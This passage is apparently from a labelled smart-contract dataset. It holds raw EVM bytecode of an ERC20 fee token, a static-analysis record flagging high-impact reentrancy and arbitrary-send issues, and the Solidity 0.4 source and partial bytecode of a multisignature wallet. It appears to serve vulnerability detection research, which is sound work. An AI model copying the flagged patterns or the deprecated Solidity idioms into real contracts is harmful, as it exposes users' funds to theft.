600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220179f4d52f93754b7556f8877c670eb01c05a60212db573326077c6e23beb998a64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,620 |
0x6c9e70d6682ea36ff340153d574b2c523671b107
|
pragma solidity ^0.4.4;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="3e4d4a5b585f5010595b514c595b7e5d51504d5b504d474d10505b4a">[email protected]</span>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b85780632f54bf6e146101d05780633411c81c1461020357806354741525146102395780637065cb4814610268578063784547a7146102895780638b51d13f146102b35780639ace38c2146102db578063a0e67e2b1461039a578063a8abe69a14610401578063b5dc40c314610478578063b77bf600146104e2578063ba51a6df14610507578063c01a8c841461051f578063c642747414610537578063d74f8edd146105ae578063dc8452cd146105d3578063e20056e6146105f8578063ee22610b1461061f575b5b60003411156101625733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b005b341561017057600080fd5b61017b600435610637565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610162600160a060020a0360043516610669565b005b34156101c357600080fd5b61016260043561081a565b005b34156101db57600080fd5b6101ef600160a060020a03600435166108fc565b604051901515815260200160405180910390f35b341561020e57600080fd5b6101ef600435600160a060020a0360243516610911565b604051901515815260200160405180910390f35b341561024457600080fd5b61025660043515156024351515610931565b60405190815260200160405180910390f35b341561027357600080fd5b610162600160a060020a03600435166109a0565b005b341561029457600080fd5b6101ef600435610ad5565b604051901515815260200160405180910390f35b34156102be57600080fd5b610256600435610b69565b60405190815260200160405180910390f35b34156102e657600080fd5b6102f1600435610be8565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b50509550505050505060405180910390f35b34156103a557600080fd5b6103ad610c1c565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561040c57600080fd5b6103ad60043560243560443515156064351515610c85565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561048357600080fd5b6103ad600435610db3565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b34156104ed57600080fd5b610256610f35565b60405190815260200160405180910390f35b341561051257600080fd5b610162600435610f3b565b005b341561052a57600080fd5b610162600435610fc9565b005b341561054257600080fd5b61025660048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506110bb95505050505050565b60405190815260200160405180910390f35b34156105b957600080fd5b6102566110db565b60405190815260200160405180910390f35b34156105de57600080fd5b6102566110e0565b60405190815260200160405180910390f35b341561060357600080fd5b610162600160a060020a03600435811690602435166110e6565b005b341561062a57600080fd5b6101626004356112a7565b005b600380548290811061064557fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561068b57600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106b457600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107af5782600160a060020a03166003838154811015156106fe57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107a35760038054600019810190811061073f57fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561076e57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506107af565b5b6001909101906106d7565b6003805460001901906107c29082611505565b5060035460045411156107db576003546107db90610f3b565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561084257600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561087757600080fd5b600084815260208190526040902060030154849060ff161561089857600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156109985783801561095e575060008181526020819052604090206003015460ff16155b806109825750828015610982575060008181526020819052604090206003015460ff165b5b1561098f576001820191505b5b600101610935565b5b5092915050565b30600160a060020a031633600160a060020a03161415156109c057600080fd5b600160a060020a038116600090815260026020526040902054819060ff16156109e857600080fd5b81600160a060020a03811615156109fe57600080fd5b6003805490506001016004546032821180610a1857508181115b80610a21575080155b80610a2a575081155b15610a3457600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a6c8382611505565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610b615760008481526001602052604081206003805491929184908110610b0357fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b45576001820191505b600454821415610b585760019250610b61565b5b600101610ada565b5b5050919050565b6000805b600354811015610be15760008381526001602052604081206003805491929184908110610b9657fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610bd8576001820191505b5b600101610b6d565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c24611559565b6003805480602002602001604051908101604052809291908181526020018280548015610c7a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c5c575b505050505090505b90565b610c8d611559565b610c95611559565b600080600554604051805910610ca85750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d4057858015610cee575060008181526020819052604090206003015460ff16155b80610d125750848015610d12575060008181526020819052604090206003015460ff165b5b15610d375780838381518110610d2557fe5b60209081029091010152600191909101905b5b600101610cc5565b878703604051805910610d505750595b908082528060200260200182016040525b5093508790505b86811015610da757828181518110610d7c57fe5b906020019060200201518489830381518110610d9457fe5b602090810290910101525b600101610d68565b5b505050949350505050565b610dbb611559565b610dc3611559565b6003546000908190604051805910610dd85750595b908082528060200260200182016040525b50925060009150600090505b600354811015610ebb5760008581526001602052604081206003805491929184908110610e1e57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610eb2576003805482908110610e6757fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610e9357fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610df5565b81604051805910610ec95750595b908082528060200260200182016040525b509350600090505b81811015610f2c57828181518110610ef657fe5b90602001906020020151848281518110610f0c57fe5b600160a060020a039092166020928302909101909101525b600101610ee2565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f5b57600080fd5b600354816032821180610f6d57508181115b80610f76575080155b80610f7f575081155b15610f8957600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610ff157600080fd5b6000828152602081905260409020548290600160a060020a0316151561101657600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561104a57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36108f2856112a7565b5b5b50505b505b5050565b60006110c8848484611406565b90506110d381610fc9565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561110857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561113157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561115957600080fd5b600092505b6003548310156112015784600160a060020a031660038481548110151561118157fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111f557836003848154811015156111c057fe5b906000526020600020900160005b6101000a815